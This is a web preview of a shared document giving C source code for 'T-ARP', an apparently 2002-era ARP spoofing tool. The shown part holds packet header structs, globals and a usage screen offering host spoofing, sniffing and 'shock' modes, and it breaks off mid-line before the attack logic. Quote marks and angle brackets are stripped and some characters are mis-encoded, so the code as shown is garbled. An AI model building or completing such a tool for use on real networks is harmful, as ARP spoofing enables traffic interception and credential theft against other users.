T-ARP与MAS-ARP欺骗源代码.doc
文本预览下载声明
T-ARP欺骗
源程序代码C
#include packet32.h
#include ntddndis.h
#include stdio.h
#include conio.h
#pragma comment(lib,ws2_32)
#pragma comment(lib,packet)
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY 0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter 10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
ULONG myip,firstip,secondip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL mm=FALSE,fm=FALSE,sm=FALSE;
FILE *fp;
char adapterlist[max_num_adapter][1024];
char msg[50];
int num=0;
void start()
{
printf(T-ARP ARP Tools, by TOo2y(ò1é?), 11-9-2002\n);
printf(Homepage: \n);
printf(E-mail: TOo2y@\n);
return ;
}
void usage()
{
printf(\nUsage: T-ARP [-m|-a|-s|-r] firstip secondip \n\n);
printf(Option:\n);
printf( -m mac Get the mac address from firstip to secondip\n);
printf( -a antisniff Get the sniffing host from firstip to secondip\n);
printf( -s spoof 1 Spoof the host between firstip and secondip\n);
printf( sniff 2 Sniff if firstip == secondip == your own ip\n);
printf( shock 3 Shock if firstip == s
显示全部